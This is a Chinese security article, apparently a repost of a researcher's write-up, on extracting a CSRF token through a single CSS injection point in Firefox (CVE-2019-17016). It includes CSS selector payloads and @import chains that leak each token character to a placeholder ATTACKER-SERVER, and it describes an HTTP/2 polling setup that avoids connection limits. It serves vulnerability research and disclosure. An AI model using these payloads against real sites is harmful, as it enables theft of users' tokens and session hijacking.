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看我如何利用单一注入点从Firefox浏览器中提取CSS数据

看我如何利用单一注入点从Firefox浏览器中提取CSS数据

在几个月之前,我在Firefox浏览器中发现了一个安全漏洞,这个漏洞就是CVE-2019-17016。在分析这个安全漏洞的过程中,我发现了一种新技术,即利用单一注入点从Firefox浏览器中提取CSS数据。在这篇文章中,我将跟大家详细介绍这项技术。

基础技术和现有技术

在我们的演示样例中,假设我们想获取<input>元素中的CSRF令牌:

<input type="hidden" name="csrftoken" value="SOME_VALUE">

可能是由于内容安全策略的原因,这里我们无法使用脚本来实现这个目的,因此我们尝试寻找基于样式的注入点。一般来说,我们会选择使用属性选择器:

input[name='csrftoken'][value^='a'] {

  background: url(//ATTACKER-SERVER/leak/a);

}

input[name='csrftoken'][value^='b'] {

  background: url(//ATTACKER-SERVER/leak/b);

}

...

input[name='csrftoken'][value^='z'] {

  background: url(//ATTACKER-SERVER/leak/z);

}

如果这里部署了CSS规则,那么攻击者就可以获取一个HTTP请求,然后提取令牌的第一个字符。接下来,攻击者需要准备另一个样式表,其中需要包含已窃取的第一个字符:

input[name='csrftoken'][value^='aa'] {

  background: url(//ATTACKER-SERVER/leak/aa);

}

input[name='csrftoken'][value^='ab'] {

  background: url(//ATTACKER-SERVER/leak/ab);

}

...

input[name='csrftoken'][value^='az'] {

  background: url(//ATTACKER-SERVER/leak/az);

}

此时,攻击者需要重新加载目标页面中的<iframe>以提供后续的样式表。

在2018年,Pepe Vila提供了一种利用CSS递归导入的方式实现在Chrome浏览器中的单一注入点利用技术。而在2019年,Nathanial Lattimer(@d0nutptr)基于该技术重新提出了一种 改进方案,这种技术比较适用于本文针对Firefox浏览器的场景。

在第一次注入时,我们需要用到大量import:

@import url(//ATTACKER-SERVER/polling?len=0);

@import url(//ATTACKER-SERVER/polling?len=1);

@import url(//ATTACKER-SERVER/polling?len=2);

...

该技术的运行机制如下:

首先,在一开始只有第一个@import会返回一个样式表,其他语句处于连接阻塞状态。此时,第一个@import返回目标样式表,其中包含了令牌的第一个字符。接下来,当泄露的第一个令牌抵达攻击者的服务器端ATTACKER-SERVER之后,第二个@import将停止阻塞,并返回包含令牌第一个字符的样式表,然后尝试获取令牌中的第二个字符。最后,当第二个泄露字符到达攻击者的服务器端ATTACKER-SERVER之后,第三个@import将停止阻塞……以此类推。

这种技术之所以有效,是因为Chrome会采用异步方式处理@import,因此当任何@import停止阻塞时,Chrome会立即解析该语句并应用执行。

Firefox与样式表处理

跟Chrome相比,Firefox针对样式表的处理方式完全不同。首先,Firefox会采用同步方式处理样式表。因此,当样式表中有多个@import时,只有当所有@import都处理完毕时CSS规则才会被应用。比如说:

<style>

@import '/polling/0';

@import '/polling/1';

@import '/polling/2';

</style>

假设第一个@import返回CSS规则时,会将页面背景设置为蓝色,后面的@import将处于阻塞状态。在Chrome中,页面会立即变成蓝色,但是在Firefox中却不会有任何反应。

此时,我们可以将所有的@import单独放在<style>元素中:

<style>@import '/polling/0';</style>

<style>@import '/polling/1';</style>

<style>@import '/polling/2';</style>

在上述代码中,Firefox会分别处理所有的样式表,此时Firefox中的页面会立刻变蓝色,其他的@import会在后台进行处理。

不过这里还有一个问题,比如说我们想窃取包含10个字符的令牌:

<style>@import '/polling/0';</style>

<style>@import '/polling/1';</style>

<style>@import '/polling/2';</style>

...

<style>@import '/polling/10';</style>

Firefox会立即将10个@import加入队列。在处理完第一个@import之后,Firefox会将带有已知字符的另一个请求加入队列。问题就在于,该请求会被追加到队尾处。在默认情况下,浏览器跟同一个服务器只能建立六条并发链接。因此,带有已知字符的请求永远不会到达目标服务器,因为该服务器已经有六条阻塞链接了,此时便会发生死锁。

解决方案:HTTP/2

六条并发链接的限制是由TCP层决定的,因此单台服务器同时只能存在六条TCP链接。而HTTP/2的其中一个优势就在于,它支持通过单个链接来发送多个HTTP请求(即多路复用),从而大大提升网络性能。

但是,Firefox针对单个HTTP/2连接的并发请求数也有限制,默认配置下限制数量为100条。如果需要使用更多的并发链接,则需要使用不同的主机名来设置,并强制Firefox创建第多条TCP链接。

比如说,如果我们创建到https://localhost:3000的100个请求,然后又创建到https://127.0.0.1:3000的50个请求,那么Firefox就会创建两条TCP链接。

利用技术

技术利用场景如下:

1、代码基于HTTP/2实现;

2、“/polling/:session/:index”节点会返回一个CSS并泄露第“:index”个字符。该请求会处于阻塞状态,直到前一个请求成功泄露第“:index-1”个字符为止。其中,“:session”路径参数用来区分多次攻击行为。

3、通过“/leak/:session/:value”节点来获取完整的令牌,这里的“:value”即为获取到的完整令牌值。

4、为了强制Firefox向同一个服务器发起两条TCP链接,这里用到了两个节点,即https://localhost:3000https://127.0.0.1:3000

5、使用“/generate”节点来生成样本代码。

我给大家提供了一个测试站点,它可以利用本文的数据提取技术来窃取csrftoken,广大研究人员可以点击【这里】进行访问。

测试演示

看我如何利用单一注入点从Firefox浏览器中提取CSS数据

视频观看:

* 参考来源:securitum,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文转为转载文章,本文观点不代表威客安全立场。

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